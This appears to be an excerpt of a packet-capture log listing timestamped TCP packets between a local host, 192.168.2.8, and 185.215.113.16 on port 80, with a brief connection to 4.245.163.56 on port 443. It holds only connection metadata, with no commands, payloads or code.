Dec 7, 2024 15:07:02.102859974 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.102905035 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.102961063 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.102993011 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.103836060 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.103869915 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.103949070 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.103982925 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.104836941 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.104875088 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.104938984 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.104971886 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.105848074 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.105895042 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.105941057 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.105974913 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.106893063 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.106937885 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.106964111 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.106995106 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.107861042 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.107901096 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.107948065 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.107980967 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.109025955 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.109075069 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.109158039 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.109194994 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.109870911 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.109913111 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.109971046 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.110008001 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.110865116 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.110903978 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.110968113 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.111000061 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.111888885 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.111927032 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.111975908 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.112008095 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.112916946 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.112958908 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.113013029 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.113044024 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.113902092 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.113943100 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.114012957 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.114046097 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.114892006 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.114933968 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.115044117 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.115087986 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.115906954 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.115942955 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.116071939 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.116105080 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.116944075 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.117010117 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.117018938 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.117053032 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.117908955 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.117944956 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.118006945 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.118036985 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.118916988 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.118959904 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.119016886 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.119055986 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.119934082 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.119973898 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.120040894 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.120075941 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.120951891 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.120992899 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.121064901 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.121104002 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.121942043 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.121990919 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.122049093 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.122087002 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.123106956 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.123157024 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.123168945 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.123209953 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.123945951 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.123987913 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.124142885 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.124174118 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.124972105 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.125010967 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.125091076 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.125123978 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.125958920 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.126013994 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.126013994 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.126044989 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.127003908 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.127083063 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.127095938 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.127126932 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.127979994 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.128026009 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.128170967 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.128206968 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.128979921 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.129023075 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.129237890 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.129272938 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.130003929 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.130049944 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.130119085 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.130150080 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.131011963 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.131058931 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.131088018 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.131119013 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.132009983 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.132054090 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.132087946 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.132128000 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.133028984 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.133065939 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.133127928 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.133166075 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.134002924 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.134046078 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.134118080 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.134149075 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.135026932 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.135067940 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.135072947 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.135107040 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.261603117 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.261677980 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.261693954 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.261729956 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.262074947 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.262121916 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.262195110 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.262238026 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.263078928 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.263119936 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.263190985 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.263236046 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.264054060 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.264102936 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.278362989 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.278450966 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.278501034 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.278536081 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.278836966 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.278893948 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.279009104 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.279052973 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.279586077 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.279637098 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.279687881 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.279731989 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.280663013 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.280709982 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.280741930 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.280786037 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.281594038 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.281645060 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.281692028 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.281729937 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.282593012 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.282634020 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.282699108 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.282735109 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.283627033 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.283678055 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.283878088 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.283919096 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.284645081 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.284692049 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.284831047 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.284986973 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.285623074 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.285679102 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.285717010 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.285752058 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.286619902 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.286673069 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.286753893 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.286792994 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.287718058 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.287756920 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.287786007 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.287831068 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.288634062 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.288717985 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.288753033 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.288796902 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.289624929 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.289666891 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.289738894 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.289777040 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.290683031 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.290728092 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.290744066 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.290783882 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.291623116 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.291667938 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.291742086 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.291785002 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.292650938 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.292695045 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.292764902 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.292818069 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.293651104 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.293690920 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.293741941 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.293776035 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.294644117 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.294697046 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.294753075 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.294790983 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.295722008 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.295758963 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.295802116 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.295835018 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.296662092 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.296721935 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.296765089 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.296799898 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.297307014 CET	49741	443	192.168.2.8	4.245.163.56
Dec 7, 2024 15:07:02.297348022 CET	443	49741	4.245.163.56	192.168.2.8
Dec 7, 2024 15:07:02.297415972 CET	49741	443	192.168.2.8	4.245.163.56
Dec 7, 2024 15:07:02.297965050 CET	49741	443	192.168.2.8	4.245.163.56
Dec 7, 2024 15:07:02.297980070 CET	443	49741	4.245.163.56	192.168.2.8
Dec 7, 2024 15:07:02.299501896 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.299552917 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.301203966 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.301218987 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.301233053 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.301244974 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.301256895 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.301265001 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.301285028 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.301315069 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.301677942 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.301723003 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.301847935 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.301888943 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.302735090 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.302783012 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.302912951 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.302959919 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.303278923 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.303294897 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.303340912 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.303354979 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.303725958 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.303774118 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.303805113 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.303845882 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.304759026 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.304800034 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.304873943 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.304913998 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.305713892 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.305763006 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.305763960 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.305809975 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.306704044 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.306751013 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.306811094 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.306857109 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.307766914 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.307813883 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.307861090 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.307910919 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.308743954 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.308798075 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.308828115 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.308857918 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.309768915 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.309815884 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.309917927 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.309957027 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.310797930 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.310852051 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.310861111 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.310899973 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.311757088 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.311805964 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.311865091 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.311906099 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.312772989 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.312819004 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.312874079 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.312922001 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.313772917 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.313822031 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.313858032 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.313898087 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.314766884 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.314822912 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.314887047 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.314934969 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.315797091 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.315841913 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.315921068 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.315979004 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.316767931 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.316812038 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.316838980 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.316879988 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.317831039 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.317893982 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.317958117 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.318005085 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.318810940 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.318829060 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.318859100 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.318872929 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.319820881 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.319869041 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.319969893 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.320017099 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.320836067 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.320878983 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.320899010 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.320938110 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.324799061 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.324817896 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.324829102 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.324841976 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.324850082 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.324852943 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.324862957 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.324871063 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.324920893 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.325916052 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.325962067 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.326086044 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.326131105 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:02.326756954 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:02.326817036 CET	49740	80	192.168.2.8	185.215.113.16
